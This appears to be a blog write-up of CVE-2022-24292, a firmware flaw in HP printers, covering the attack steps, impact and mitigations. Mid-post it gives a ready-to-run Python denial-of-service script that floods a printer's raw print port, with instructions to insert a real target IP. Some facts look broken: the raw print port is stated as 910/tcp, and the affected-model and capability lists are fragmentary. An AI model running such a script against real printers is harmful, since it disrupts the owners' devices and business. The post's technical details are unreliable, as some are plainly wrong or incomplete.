In February 2022, the cybersecurity community sounded the alarm about CVE-2022-24292 — a security flaw impacting a wide range of HP printers. This post breaks down what this bug is all about, how it can be abused by attackers, the potential impact on businesses and individuals, and gives a glimpse at how these exploits work in the real world.

What Is CVE-2022-24292?

CVE-2022-24292 is a critical vulnerability discovered in the firmware of many HP business printers. The bug can allow attackers to do the following remotely:

Execute malicious code on the printer (remote code execution)

The flaw exists due to improper input validation in the printer's firmware, specifically within services that handle incoming print jobs or web requests.

HP ScanJet Pro

The full affected models are covered in the official HP security bulletin (see [Reference #1](#references-further-reading)).

A remote attacker can exploit CVE-2022-24292 by

1. Sending a crafted request to the printer (over network ports, usually 910/tcp for printing or web interface ports).
2. Triggering improper handling in the firmware (for example, by including too much data, malformed headers, or dangerous payloads in the request).
3. Gaining access to sensitive data (like wifi passwords or print histories), causing the printer to crash, or planting backdoors.

Exploit Code Example

Below is an example Python script that demonstrates a basic Denial of Service (DoS) exploit for a vulnerable HP printer using the raw print port (910/tcp). This code is for educational and defensive purposes only.

import socket
import time

TARGET_IP = '192.168.1.100'   # Target HP printer's IP
PORT = 910                   # Raw printing port

# Payload: An extremely large string to trigger buffer issues
payload = b'A' * 100000

try:
    print(f"Connecting to {TARGET_IP}:{PORT}...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET_IP, PORT))
    print(f"Sending malformed payload of {len(payload)} bytes...")
    s.send(payload)
    time.sleep(2)
    s.close()
    print('Payload sent. Printer may have crashed.')
except Exception as e:
    print("Error:", e)

Replace TARGET_IP with the printer’s real IP. This script floods the printer's print service, which on unpatched devices may crash the firmware — a simple demonstration of DoS.

For Remote Code Execution (RCE), payloads can be more complex, such as ones that exploit firmware parsing routines to run embedded code. These exploit chains are usually not publicly shared due to their seriousness.

Potential Impact

- Information Disclosure: An attacker might steal WiFi credentials, lists of documents printed, or saved configurations.
- Denial of Service: The printer can be made unusable until restarted, potentially disrupting business.
- Remote Code Execution: Worst-case scenario, malicious code runs on the device, which could be used as a jumping-off point for a wider network breach.

Printers are often ignored as attack surfaces, but they sit on corporate networks with valuable information and big privileges.

Detection & Mitigation

- Update Firmware: HP has released security updates for all affected models. Apply them ASAP! (HP Advisory)
- Network Segmentation: Keep printers on isolated VLANs—don’t allow Internet or guest user traffic to printer networks.

Restrict Access: Use firewall rules to lock down who can talk to printer ports.

- Monitor Logs: Unusual crashes, print job errors, or unknown device accesses could signal exploits.

References & Further Reading

- HP Security Bulletin: HPSBPI03715 (Official Advisory)
- CVE Details for CVE-2022-24292
- BleepingComputer: Hundreds of HP printers vulnerable to new remote code execution flaws


In closing: CVE-2022-24292 is a big reminder—don’t forget your printers when securing your network! Apply patches, lock them down, and always keep an eye out for unusual activity.

Timeline

Published on: 03/23/2022 20:15:00 UTC
Last modified on: 03/29/2022 18:50:00 UTC